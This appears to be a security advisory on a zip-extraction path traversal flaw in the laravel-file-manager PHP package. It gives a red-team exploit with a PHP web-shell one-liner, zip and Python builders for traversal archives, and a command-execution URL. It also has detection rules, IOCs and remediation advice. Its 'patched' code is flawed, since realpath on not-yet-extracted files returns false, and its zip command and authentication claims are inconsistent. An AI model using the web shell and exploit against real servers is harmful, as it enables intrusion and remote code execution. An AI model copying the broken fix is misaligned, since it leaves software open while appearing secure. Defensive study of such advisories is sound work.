CVE-2025-65346

Executive Summary

CVE-2025-65346 is a critical Directory Traversal vulnerability in Alexusmai's laravel-file-manager package, affecting version 3.3.1 and below. The vulnerability resides in the unzip/extraction functionality, which fails to properly validate extraction paths. An attacker can craft a malicious archive containing files with path traversal sequences (e.g., ../../evil.php) that, when extracted, write files to arbitrary locations on the filesystem. This can lead to remote code execution (RCE) by overwriting critical system files or web application scripts. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the impact, it is assessed as critical with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. No official patch is available at this time.

Supply Chain & Package Security

This vulnerability affects the alexusmai/laravel-file-manager package, which is distributed via Composer (PHP). Organizations using this package in their Laravel applications are at risk. The package is not hosted on npm, PyPI, Go, or Ruby, but it is a critical component in the PHP/Laravel ecosystem. Supply chain risk is high because the vulnerable package may be included as a dependency in other projects, and the lack of a patch means users must rely on workarounds or custom fixes.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file read/write can expose sensitive data.
• Integrity (I): High (H) – Attackers can overwrite files, leading to code execution.
• Availability (A): High (H) – Denial of service or system compromise is possible.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to write files to arbitrary locations, enabling RCE, data theft, and full system compromise.

Deep Dive & Mechanics

The vulnerability is in the unzip or extraction functionality of laravel-file-manager. When a user uploads a ZIP archive, the application extracts its contents without properly sanitizing the file paths. An attacker can create a ZIP file containing entries with path traversal sequences (e.g., ../../../../var/www/html/shell.php). The extraction process writes the file to the specified path, bypassing the intended upload directory.

Root Cause: The application uses PHP's ZipArchive::extractTo() or similar functions without validating that the extracted file paths are within the intended base directory. This allows an attacker to escape the upload directory and write files anywhere the web server has write permissions.

Attack Flow:

1. Attacker crafts a ZIP archive containing a malicious file with a path traversal payload (e.g., ../../../../var/www/html/backdoor.php).
2. Attacker uploads the ZIP archive via the file manager's upload functionality.
3. The application extracts the archive, writing the malicious file to the target location.
4. Attacker accesses the uploaded file (e.g., http://target.com/backdoor.php) to execute arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (v3.3.1 and below):

// In the extraction function
$zip = new ZipArchive();
if ($zip->open($uploadedFile) === TRUE) {
    $zip->extractTo($destinationPath);
    $zip->close();
}

This code does not validate that the extracted files are within $destinationPath.

Patched Code (hypothetical fix):

$zip = new ZipArchive();
if ($zip->open($uploadedFile) === TRUE) {
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $realPath = realpath($destinationPath . '/' . $filename);
        if (strpos($realPath, realpath($destinationPath)) !== 0) {
            throw new Exception('Invalid file path');
        }
    }
    $zip->extractTo($destinationPath);
    $zip->close();
}

The patched code checks that the resolved real path of each file starts with the intended destination directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running laravel-file-manager v3.3.1 or below.
• Access to the file upload functionality (usually at /laravel-filemanager).

Exploit Steps:

1. Create a malicious ZIP archive:

   # Create a PHP web shell
   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   # Create a ZIP with path traversal
   zip -r exploit.zip ../../../../var/www/html/shell.php
   

   Note: The path ../../../../var/www/html/shell.php is relative to the extraction directory. Adjust based on the target's web root.

2. Upload the ZIP archive via the file manager's upload interface.

3. Access the uploaded shell:

   http://target.com/shell.php?cmd=id
   

Alternative Exploit (using Python):

import zipfile
import io

# Create a malicious ZIP in memory
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    zf.writestr('../../../../var/www/html/evil.php', '<?php system($_GET["cmd"]); ?>')

# Upload the ZIP (requires session/cookie handling)
# Use requests library to POST the file

Blue Team (Detection & Hardening)

Detection:

• Monitor for ZIP file uploads followed by unexpected file creation in sensitive directories (e.g., /var/www/html, /etc/).
• Look for file paths containing ../ in web server logs or application logs.
• Use file integrity monitoring (FIM) to detect unauthorized file changes.

Hardening:

• Implement a Web Application Firewall (WAF) rule to block ZIP files containing path traversal sequences.
• Restrict write permissions on the web root to only necessary directories.
• Use a sandbox or containerized environment for file extraction.
• Apply the hypothetical patch above or disable the unzip functionality until an official patch is released.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in /var/www/html/, /tmp/, or /etc/ with names like shell.php, backdoor.php, evil.php.
  • Files with recent timestamps in directories outside the upload folder.
• Network:
  • HTTP requests to /laravel-filemanager with Content-Type: application/zip or multipart/form-data containing ZIP files.
  • Outbound connections from the web server to unknown IPs (if the shell is used for C2).
• Logs:
  • Web server access logs showing POST requests to /laravel-filemanager/upload or similar endpoints.
  • Application logs with errors related to ZipArchive or file extraction.

Detection Engineering

YARA Rule

rule CVE_2025_65346_Laravel_File_Manager_Directory_Traversal {
    meta:
        description = "Detects ZIP archives with path traversal sequences targeting Laravel File Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65346"
    strings:
        $path_traversal = /\.\.\/[^\/]/
        $zip_magic = { 50 4B 03 04 }
    condition:
        $zip_magic at 0 and #path_traversal > 0
}

Sigma Rule

title: CVE-2025-65346 - Laravel File Manager Directory Traversal via ZIP Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects ZIP file uploads containing path traversal sequences to the Laravel File Manager endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/laravel-filemanager/upload'
        cs-content-type: 'application/zip'
    condition: selection
falsepositives:
    - Legitimate ZIP uploads without path traversal
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65346 - Laravel File Manager Directory Traversal ZIP Upload"; flow:to_server; content:"POST"; http_method; content:"/laravel-filemanager/upload"; http_uri; content:"application/zip"; http_header; content:"|50 4B 03 04|"; within:4; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the unzip functionality in laravel-file-manager until a patch is available. This can be done by removing or commenting out the extraction code in the application.
2. Implement input validation to reject ZIP files containing path traversal sequences. Use a whitelist of allowed characters and paths.
3. Apply file permissions to ensure the web server cannot write to sensitive directories (e.g., /etc/, /var/www/html/). Use chmod and chown to restrict write access.

Long-term Fix:

• Monitor the vendor's repository for an official patch. If none is released, consider forking the package and applying the fix described in the "Vulnerable vs. Patched Code" section.
• Replace the vulnerable package with an alternative that has proper path validation.

Workaround:

• Use a reverse proxy or WAF to block ZIP file uploads containing ../ in the filename.
• Restrict the upload directory to a non-web-accessible location and serve files via a script that validates paths.

Valters IT
DevSecOps & Cyber Threat Intelligence